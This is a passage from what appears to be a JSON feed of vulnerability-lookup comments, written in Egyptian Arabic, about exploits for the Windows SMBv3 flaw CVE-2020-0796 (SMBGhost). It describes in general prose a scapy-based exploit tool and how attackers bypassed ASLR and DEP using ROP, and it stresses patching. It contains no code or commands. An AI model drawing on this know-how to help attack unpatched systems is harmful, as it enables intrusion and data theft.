\u0647\u064a \u0623\u062f\u0627\u0629 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 (Exploit) \u062e\u0627\u0635\u0629 \u0628\u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 \u0628\u0640CVE-2020-0796 \u0648\u0627\u0644\u0644\u064a \u0647\u064a \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0627\u0644\u0644\u064a \u0628\u064a\u0633\u062a\u062e\u062f\u0645 \u0641\u064a \u0645\u0634\u0627\u0631\u0643\u0629 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0639\u0644\u0649 \u0627\u0644\u0634\u0628\u0643\u0629\u060c \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u0623\u0643\u0648\u0627\u062f \u062e\u0628\u064a\u062b\u0629 \u0639\u0646 \u0628\u0639\u062f (Remote Code Execution) \u0639\u0644\u0649 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629\u060c \u0628\u0645\u0639\u0646\u0649 \u0625\u0646\u0647 \u064a\u0642\u062f\u0631 \u064a\u0634\u063a\u0644 \u0623\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u0623\u0648 \u0633\u0643\u0631\u064a\u0628\u062a \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0636\u062d\u064a\u0629 \u0645\u0646 \u063a\u064a\u0631 \u0645\u0627 \u064a\u0643\u0648\u0646 \u0644\u064a\u0647 \u0623\u064a \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0623\u0648 \u0625\u0630\u0646 \u0645\u0633\u0628\u0642\u060c \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0645\u0643\u062a\u0648\u0628\u0629 \u0628\u0644\u063a\u0629 \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0628\u0627\u064a\u062b\u0648\u0646 \u0648\u0628\u062a\u0633\u062a\u062e\u062f\u0645 \u0645\u0643\u062a\u0628\u0627\u062a \u0632\u064a scapy \u0639\u0634\u0627\u0646 \u062a\u0648\u0644\u062f \u0648\u062a\u0639\u062f\u0644 \u0639\u0644\u0649 \u0627\u0644\u0628\u0627\u0643\u062a\u0633 (Packets) \u0627\u0644\u0644\u064a \u0628\u062a\u062a\u0628\u0627\u062f\u0644 \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0639\u0644\u0649 \u0627\u0644\u0634\u0628\u0643\u0629\u060c \u0627\u0644\u0644\u064a \u062d\u0635\u0644 \u0625\u0646\u0647 \u0641\u064a \u0645\u0627\u0631\u0633 2020\u060c \u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0623\u0639\u0644\u0646\u062a \u0639\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0648\u0646\u0634\u0631\u062a \u062a\u062d\u062f\u064a\u062b \u0623\u0645\u0646\u064a \u0644\u0625\u0635\u0644\u0627\u062d\u0647\u0627\u060c \u0628\u0633 \u0643\u062a\u064a\u0631 \u0645\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u062d\u0648\u0644 \u0627\u0644\u0639\u0627\u0644\u0645 \u0645\u0627 \u0637\u0628\u0642\u062a\u0634 \u0627\u0644\u062a\u062d\u062f\u064a\u062b \u062f\u0627 \u0641\u0648\u0631\u0627\u064b\u060c \u0641\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0643\u0627\u0646\u062a \u0645\u0639\u0631\u0636\u0629 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\u060c \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0627\u0644\u0644\u064a \u0643\u062a\u0628 \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0643\u0627\u0646 \u0647\u062f\u0641\u0647 \u064a\u0633\u062a\u0641\u064a\u062f \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0639\u0634\u0627\u0646 \u064a\u062b\u0628\u062a \u062a\u062d\u0643\u0645\u0647 \u0627\u0644\u0643\u0627\u0645\u0644 \u0639\u0644\u0649 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0645\u0627 \u0637\u0628\u0642\u062a\u0634 \u0627\u0644\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0623\u0645\u0646\u064a\u060c \u0643\u062a\u0627\u0628\u0629 exploit \u0644\u062b\u063a\u0631\u0629 \u0632\u064a \u062f\u064a \u0628\u062a\u062d\u062a\u0627\u062c \u0645\u0639\u0631\u0641\u0629 \u062a\u0642\u0646\u064a\u0629 \u0639\u0627\u0644\u064a\u0629 \u062c\u062f\u0627\u064b\u060c \u0645\u0634 \u0628\u0633 \u0641\u064a \u0627\u0644\u0628\u0631\u0645\u062c\u0629\u060c \u0644\u0643\u0646 \u0643\u0645\u0627\u0646 \u0641\u064a \u0641\u0647\u0645 \u0639\u0645\u064a\u0642 \u0644\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644\u0627\u062a \u0627\u0644\u0634\u0628\u0643\u064a\u0629 \u0648\u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u062a\u0642\u0646\u064a\u0629 \u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u062a\u0634\u063a\u064a\u0644\u060c \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u064a\u062d\u062a\u0627\u062c \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0625\u0646\u0647 \u064a\u0639\u0645\u0644 \u062a\u062d\u0644\u064a\u0644 \u0644\u0644\u062b\u063a\u0631\u0629 (Reverse Engineering) \u0639\u0634\u0627\u0646 \u064a\u0639\u0631\u0641 \u0625\u064a\u0647 \u0627\u0644\u062e\u0644\u0644 \u0627\u0644\u0644\u064a \u0645\u0648\u062c\u0648\u062f \u0641\u064a \u0643\u0648\u062f \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0648\u0628\u0639\u062f\u0647\u0627 \u064a\u0628\u062a\u062f\u064a \u064a\u0643\u062a\u0628 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0644\u064a \u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062e\u0644\u0644 \u062f\u0627\u060c \u0648\u0627\u062d\u062f\u0629 \u0645\u0646 \u0627\u0644\u062a\u062d\u062f\u064a\u0627\u062a \u0627\u0644\u0644\u064a \u0628\u062a\u0648\u0627\u062c\u0647 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0647\u064a \u0625\u0646\u0647 \u064a\u0644\u0627\u0642\u064a \u0637\u0631\u064a\u0642\u0629 \u0639\u0634\u0627\u0646 \u064a\u0639\u062f\u064a \u0645\u0646 \u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u064a\u0641\u0639\u0644 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u062e\u0628\u064a\u062b \u0628\u062f\u0648\u0646 \u0645\u0627 \u064a\u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u060c \u0648\u062f\u0627 \u0628\u064a\u062d\u062a\u0627\u062c \u0645\u0646\u0647 \u062a\u062c\u0631\u0628\u0629 \u0648\u0627\u062e\u062a\u0628\u0627\u0631 \u0645\u0633\u062a\u0645\u0631 \u0644\u062d\u062f \u0645\u0627 \u064a\u0648\u0635\u0644 \u0644\u0643\u0648\u062f \u064a\u0643\u0648\u0646 \u0641\u0639\u0627\u0644 \u0628\u0646\u0633\u0628\u0629 \u0643\u0628\u064a\u0631\u0629\u060c \u062e\u0637\u0648\u0631\u0629 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u064a\u062c\u064a \u0645\u0646 \u0625\u0646\u0647\u0627 \u0628\u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u0623\u0648\u0627\u0645\u0631 \u0639\u0644\u0649 \u062c\u0647\u0627\u0632 \u0627\u0644\u0636\u062d\u064a\u0629 \u0628\u062f\u0648\u0646 \u0623\u064a \u062a\u0641\u0627\u0639\u0644 \u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u060c \u064a\u0639\u0646\u064a \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0645\u0645\u0643\u0646 \u064a\u0639\u0645\u0644 \u0623\u064a \u062d\u0627\u062c\u0629 \u0628\u062f\u0627\u064a\u0629 \u0645\u0646 \u0633\u0631\u0642\u0629 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0633\u0629 \u0644\u062d\u062f \u062a\u0639\u0637\u064a\u0644 \u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0627\u0644\u0643\u0627\u0645\u0644\u060c \u062f\u0627 \u063a\u064a\u0631 \u0625\u0646\u0647 \u0645\u0645\u0643\u0646 \u064a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u0635\u0627\u0628\u0629 \u0643\u0645\u0646\u0635\u0627\u062a \u0644\u0634\u0646 \u0647\u062c\u0645\u0627\u062a \u0623\u0643\u0628\u0631 \u0639\u0644\u0649 \u0623\u0647\u062f\u0627\u0641 \u062a\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0634\u0628\u0643\u0629\u060c \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0628\u0627\u0644\u0631\u063a\u0645 \u0645\u0646 \u062e\u0637\u0648\u0631\u062a\u0647\u0627 \u0625\u0644\u0627 \u0625\u0646\u0647\u0627 \u0628\u062a\u0633\u0627\u0639\u062f \u0641\u0631\u0642 \u0627\u0644\u0623\u0645\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0639\u0644\u0649 \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0648\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0645\u062d\u062a\u0627\u062c\u0629 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0623\u0645\u0646\u064a\u0629\u060c \u0627\u0644\u0645\u0647\u0645 \u0625\u0646\u0643 \u0644\u0648 \u0628\u062a\u062f\u064a\u0631 \u0634\u0628\u0643\u0629 \u0623\u0648 \u062d\u062a\u0649 \u062c\u0647\u0627\u0632 \u0634\u062e\u0635\u064a\u060c \u0644\u0627\u0632\u0645 \u062a\u062a\u0623\u0643\u062f \u0625\u0646\u0643 \u062f\u0627\u064a\u0645\u0627\u064b \u0628\u062a\u062d\u062f\u062b \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u062a\u062b\u0628\u062a \u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u0648\u0631 \u0646\u0632\u0648\u0644\u0647\u0627 \u0639\u0634\u0627\u0646 \u062a\u062d\u0645\u064a \u0646\u0641\u0633\u0643 \u0645\u0646 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0644\u064a \u0632\u064a \u062f\u064a\u060c \u062e\u0644\u0627\u0635\u0629 \u0627\u0644\u0643\u0644\u0627\u0645\u060c \u0627\u0644\u0623\u062f\u0627\u0629 \u062f\u064a \u0645\u062b\u0627\u0644 \u062d\u064a \u0639\u0644\u0649 \u0623\u0647\u0645\u064a\u0629 \u0627\u0644\u0623\u0645\u0627\u0646 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0648\u0639\u0644\u0649 \u0642\u062f \u0625\u064a\u0647 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0645\u0645\u0643\u0646 \u064a\u0643\u0648\u0646\u0648\u0627 \u0645\u0628\u062f\u0639\u064a\u0646 \u0641\u064a \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u0641 \u0644\u062a\u062d\u0642\u064a\u0642 \u0623\u0647\u062f\u0627\u0641\u0647\u0645\u060c \u0648\u0623\u064a\u0636\u0627\u064b \u062a\u0630\u0643\u064a\u0631 \u0628\u0636\u0631\u0648\u0631\u0629 \u0627\u0644\u0628\u0642\u0627\u0621 \u0639\u0644\u0649 \u0627\u0637\u0644\u0627\u0639 \u062f\u0627\u064a\u0645 \u0628\u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0648\u0623\u0641\u0636\u0644 \u0627\u0644\u0645\u0645\u0627\u0631\u0633\u0627\u062a \u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0623\u0646\u0638\u0645\u0629.", "creation_timestamp": "2024-07-12T07:53:17.000000Z"}, {"uuid": "03892321-05f3-4974-b85f-321ccf16743f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/malwaremanzero/72", "content": "\u0627\u0644\u0645\u0648\u0636\u0648\u0639 \u0628\u064a\u062a\u0643\u0644\u0645 \u0639\u0646 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0623\u0645\u0646\u064a \u0645\u0647\u0645 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMB3 \u0627\u0644\u062e\u0627\u0635 \u0628\u0623\u0646\u0638\u0645\u0629 \u0648\u064a\u0646\u062f\u0648\u0632 CVE-2020-0796 \u0623\u0648 \u0632\u064a \u0645\u0627 \u0628\u064a\u0637\u0644\u0642\u0648\u0627 \u0639\u0644\u064a\u0647 \u0623\u062d\u064a\u0627\u0646\u064b\u0627 \u0627\u0633\u0645 \"SMBGhost\" \u0647\u0648 \u062b\u063a\u0631\u0629 \u0628\u062a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0634\u063a\u0644 \u0623\u0643\u0648\u0627\u062f \u0636\u0627\u0631\u0629 \u0639\u0646 \u0628\u0639\u062f \u0648\u064a\u0633\u064a\u0637\u0631 \u0639\u0644\u0649 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u062e\u0637\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u0644\u0623\u0646\u0647\u0627 \u0628\u062a\u0633\u0645\u062d \u0644\u0623\u064a \u0647\u0627\u0643\u0631 \u0628\u0627\u0644\u062a\u062d\u0643\u0645 \u0641\u064a \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0645\u0635\u0627\u0628\u0629 \u0648\u0643\u0623\u0646\u0647\u0645 \u062c\u0648\u0627 \u0627\u0644\u062c\u0647\u0627\u0632 \u0628\u064a\u0642\u062f\u0631\u0648\u0627 \u064a\u062b\u0628\u062a\u0648\u0627 \u0628\u0631\u0627\u0645\u062c \u0636\u0627\u0631\u0629 \u064a\u0633\u0631\u0642\u0648\u0627 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0623\u0648 \u062d\u062a\u0649 \u064a\u062d\u0648\u0644\u0648\u0627 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0644\u0634\u0628\u0643\u0629 Botnet \u0627\u0644\u0644\u064a \u0647\u064a \u0634\u0628\u0643\u0629 \u0645\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0628\u064a\u062a\u0645 \u0627\u0644\u062a\u062d\u0643\u0645 \u0641\u064a\u0647\u0627 \u0639\u0646 \u0628\u0639\u062f \u0644\u062a\u0646\u0641\u064a\u0630 \u0647\u062c\u0645\u0627\u062a \u0623\u0643\u0628\u0631\n\n\u0627\u0644\u0640Exploit \u062f\u0647 \u062a\u0645 \u0643\u062a\u0627\u0628\u062a\u0647 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0645\u0639\u0642\u062f\u0629 \u0648\u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0627\u0644\u0644\u064a \u0627\u0634\u062a\u063a\u0644\u0648\u0627 \u0639\u0644\u064a\u0647 \u0648\u0627\u062c\u0647\u0648\u0627 \u062a\u062d\u062f\u064a\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u0623\u0648\u0644 \u062d\u0627\u062c\u0629 \u0644\u0627\u0632\u0645 \u0646\u0639\u0631\u0641\u0647\u0627 \u0625\u0646 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMB3 \u0647\u0648 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0634\u0628\u0643\u064a \u0628\u064a\u0633\u062a\u062e\u062f\u0645 \u0644\u0646\u0642\u0644 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0641\u064a \u0627\u0644\u0634\u0628\u0643\u0629 \u0648\u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u062f\u0647 \u0645\u0648\u062c\u0648\u062f \u0641\u064a \u0643\u0644 \u0646\u0633\u062e \u0648\u064a\u0646\u062f\u0648\u0632 \u0627\u0644\u062d\u062f\u064a\u062b\u0629 \u0627\u0644\u0644\u064a \u062d\u0635\u0644 \u0647\u0648 \u0625\u0646\u0647\u0645 \u0627\u0643\u062a\u0634\u0641\u0648\u0627 \u0625\u0646 \u0641\u064a\u0647 \u0645\u0634\u0643\u0644\u0629 \u0641\u064a \u0637\u0631\u064a\u0642\u0629 \u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0646\u0638\u0627\u0645 \u0644\u0628\u0639\u0636 \u0627\u0644\u0631\u0633\u0627\u0626\u0644 \u0627\u0644\u0644\u064a \u0628\u062a\u062a\u0628\u0639\u062a \u0639\u0628\u0631 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u062f\u0647 \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u062f\u064a \u0628\u062a\u062e\u0644\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u064a\u0642\u0628\u0644 \u0623\u0643\u0648\u0627\u062f \u0636\u0627\u0631\u0629 \u0648\u0628\u064a\u0634\u063a\u0644\u0647\u0627 \u0643\u0623\u0646\u0647\u0627 \u062c\u0632\u0621 \u0645\u0646 \u0627\u0644\u0646\u0638\u0627\u0645 \u0646\u0641\u0633\u0647\n\n\u0639\u0645\u0644\u064a\u0629 \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u0640Exploit \u0643\u0627\u0646\u062a \u0645\u0639\u0642\u062f\u0629 \u062c\u062f\u064b\u0627 \u0644\u0623\u0646 \u0627\u0644\u0640SMB3 \u0647\u0648 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0645\u0639\u0642\u062f \u0648\u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0627\u0644\u0644\u064a \u0634\u063a\u0627\u0644\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0643\u0627\u0646\u0648\u0627 \u0645\u062d\u062a\u0627\u062c\u064a\u0646 \u064a\u0641\u0647\u0645\u0648\u0627 \u0643\u0648\u064a\u0633 \u062c\u062f\u064b\u0627 \u0625\u0632\u0627\u064a \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0628\u064a\u0634\u062a\u063a\u0644 \u0648\u0627\u064a\u0647 \u0647\u064a \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u0644\u064a \u0645\u0645\u0643\u0646 \u064a\u0633\u062a\u063a\u0644\u0648\u0647\u0627 \u0641\u064a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0643\u0627\u0646\u062a \u0641\u064a\u0647 \u0635\u0639\u0648\u0628\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u0632\u064a \u0645\u062b\u0644\u0627 \u0625\u0646\u0647 \u0643\u0627\u0646 \u0644\u0627\u0632\u0645 \u064a\u0641\u0647\u0645\u0648\u0627 \u062a\u0641\u0627\u0635\u064a\u0644 \u0639\u0645\u064a\u0642\u0629 \u062c\u062f\u064b\u0627 \u0639\u0646 \u0628\u0646\u064a\u0629 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0646\u0641\u0633\u0647 \u0648\u0639\u0646 \u0637\u0631\u064a\u0642\u0629 \u0639\u0645\u0644 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0641\u064a \u0646\u0638\u0627\u0645 \u0648\u064a\u0646\u062f\u0648\u0632 \u0648\u0643\u0645\u0627\u0646 \u0639\u0646 \u0637\u0631\u0642 \u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0644\u064a \u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0628\u062a\u0633\u062a\u062e\u062f\u0645\u0647\u0627 \u0639\u0634\u0627\u0646 \u062a\u0645\u0646\u0639 \u0627\u0644\u062d\u0627\u062c\u0627\u062a \u062f\u064a\n\n\u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u062f\u0648\u0644 \u0643\u0627\u0646\u0648\u0627 \u0645\u062d\u062a\u0627\u062c\u064a\u0646 \u064a\u062a\u062e\u0637\u0648\u0627 \u0643\u0644 \u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u062f\u064a \u0639\u0634\u0627\u0646 \u064a\u0642\u062f\u0631\u0648\u0627 \u064a\u0634\u063a\u0644\u0648\u0627 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0636\u0627\u0631\u0629 \u0639\u0646 \u0628\u0639\u062f \u062f\u064a \u0639\u0645\u0644\u064a\u0629 \u0645\u0634 \u0633\u0647\u0644\u0629 \u0625\u0637\u0644\u0627\u0642\u064b\u0627 \u0644\u0623\u0646 \u0646\u0638\u0627\u0645 \u0648\u064a\u0646\u062f\u0648\u0632 \u0628\u064a\u0633\u062a\u062e\u062f\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0632\u064a \u0627\u0644\u0640ASLR \u0648\u0627\u0644\u0640DEP \u0627\u0644\u0644\u064a \u0647\u0645\u0627 \u0628\u064a\u063a\u064a\u0631\u0648\u0627 \u0623\u0645\u0627\u0643\u0646 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0648\u0628\u064a\u0645\u0646\u0639\u0648\u0627 \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0636\u0627\u0631\u0629 \u0628\u0633\u0647\u0648\u0644\u0629 \u0639\u0634\u0627\u0646 \u0643\u062f\u0647 \u0627\u0644\u0647\u0627\u0643\u0631\u0632 \u0643\u0627\u0646 \u0644\u0627\u0632\u0645 \u064a\u0644\u0627\u0642\u0648\u0627 \u0637\u0631\u064a\u0642\u0629 \u0644\u062a\u062d\u062f\u064a\u062f \u0645\u0643\u0627\u0646 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u062f\u064a \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u062f\u0642\u064a\u0642\u0629 \u062c\u062f\u064b\u0627 \u0648\u0639\u0634\u0627\u0646 \u064a\u062a\u063a\u0644\u0628\u0648\u0627 \u0639\u0644\u0649 \u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u062f\u064a \u0627\u0633\u062a\u062e\u062f\u0645\u0648\u0627 \u062d\u0627\u062c\u0627\u062a \u0632\u064a \u0627\u0644\u0640ROP \u0627\u0644\u0644\u064a \u0647\u064a \u062a\u0642\u0646\u064a\u0629 \u0628\u062a\u0633\u062a\u062e\u062f\u0645 \u0642\u0637\u0639 \u0635\u063a\u064a\u0631\u0629 \u0645\u0646 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0645\u0648\u062c\u0648\u062f\u0629 \u0623\u0635\u0644\u0627 \u0641\u064a \u0627\u0644\u0646\u0638\u0627\u0645 \u0639\u0634\u0627\u0646 \u062a\u0634\u063a\u0644 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0627\u0644\u0636\u0627\u0631\u0629\n\n\u0637\u0628\u0639\u0627 \u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u062f\u064a \u0643\u0627\u0646\u062a \u0628\u062a\u0627\u062e\u062f \u0648\u0642\u062a \u0637\u0648\u064a\u0644 \u062c\u062f\u0627 \u0648\u0643\u0627\u0646\u0648\u0627 \u0628\u064a\u0648\u0627\u062c\u0647\u0648\u0627 \u0645\u0634\u0627\u0643\u0644 \u0643\u062a\u064a\u0631 \u0641\u064a \u0643\u0644 \u062e\u0637\u0648\u0629 \u0644\u0623\u0646\u0647 \u0632\u064a \u0645\u0627 \u0642\u0648\u0644\u0646\u0627 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u0645\u0639\u0642\u062f \u0648\u0627\u0644\u062d\u0645\u0627\u064a\u0627\u062a \u0643\u062a\u064a\u0631\u0629 \u0628\u0633 \u0641\u064a \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0642\u062f\u0631\u0648\u0627 \u064a\u0643\u062a\u0628\u0648\u0627 \u0627\u0644\u0640Exploit \u0648\u064a\u062b\u0628\u062a\u0648\u0627 \u0625\u0646\u0647 \u0628\u064a\u0634\u062a\u063a\u0644 \u0639\u0644\u0649 \u0623\u0646\u0638\u0645\u0629 \u0648\u064a\u0646\u062f\u0648\u0632 \u0645\u0639\u064a\u0646\u0629 \u0632\u064a \u0648\u064a\u0646\u062f\u0648\u0632 10 \u0648\u064a\u0646\u062f\u0648\u0632 \u0633\u064a\u0631\u0641\u0631 2016 \u0648\u0648\u064a\u0646\u062f\u0648\u0632 \u0633\u064a\u0631\u0641\u0631 2019\n\n\u062e\u0637\u0648\u0631\u0629 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u064a\u062c\u064a \u0645\u0646 \u0625\u0646\u0647\u0627 \u0628\u062a\u0633\u0645\u062d \u0644\u0623\u064a \u0647\u0627\u0643\u0631 \u0628\u0623\u0646\u0647 \u064a\u062a\u062d\u0643\u0645 \u0641\u064a \u0627\u0644\u062c\u0647\u0627\u0632 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644 \u0648\u062f\u064a \u0645\u0634\u0643\u0644\u0629 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u062e\u0635\u0648\u0635\u0627 \u0644\u0648 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u062f\u064a \u0645\u0648\u062c\u0648\u062f\u0629 \u0641\u064a \u0634\u0628\u0643\u0627\u062a \u0643\u0628\u064a\u0631\u0629 \u0632\u064a \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0623\u0648 \u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u062d\u0643\u0648\u0645\u064a\u0629 \u0644\u0623\u0646 \u062f\u0647 \u0645\u0645\u0643\u0646 \u064a\u0624\u062f\u064a \u0644\u062a\u0633\u0631\u064a\u0628 \u0628\u064a\u0627\u0646\u0627\u062a \u062d\u0633\u0627\u0633\u0629 \u0623\u0648 \u062a\u062f\u0645\u064a\u0631 \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644 \u0648\u062f\u064a \u062d\u0627\u062c\u0629 \u062e\u0637\u064a\u0631\u0629 \u062c\u062f\u0627\n\n\u0644\u0630\u0644\u0643 \u0644\u0648 \u0623\u064a \u0647\u0627\u0643\u0631 \u0639\u0627\u064a\u0632 \u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0644\u0627\u0632\u0645 \u064a\u0643\u0648\u0646 \u0639\u0646\u062f\u0647 \u0641\u0647\u0645 \u0639\u0645\u064a\u0642 \u062c\u062f\u0627 \u0639\u0646 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMB3 \u0648\u0639\u0646 \u0646\u0638\u0627\u0645 \u0648\u064a\u0646\u062f\u0648\u0632 \u0648\u0643\u0645\u0627\u0646 \u064a\u0643\u0648\u0646 \u0639\u0646\u062f\u0647 \u0627\u0644\u0645\u0647\u0627\u0631\u0627\u062a 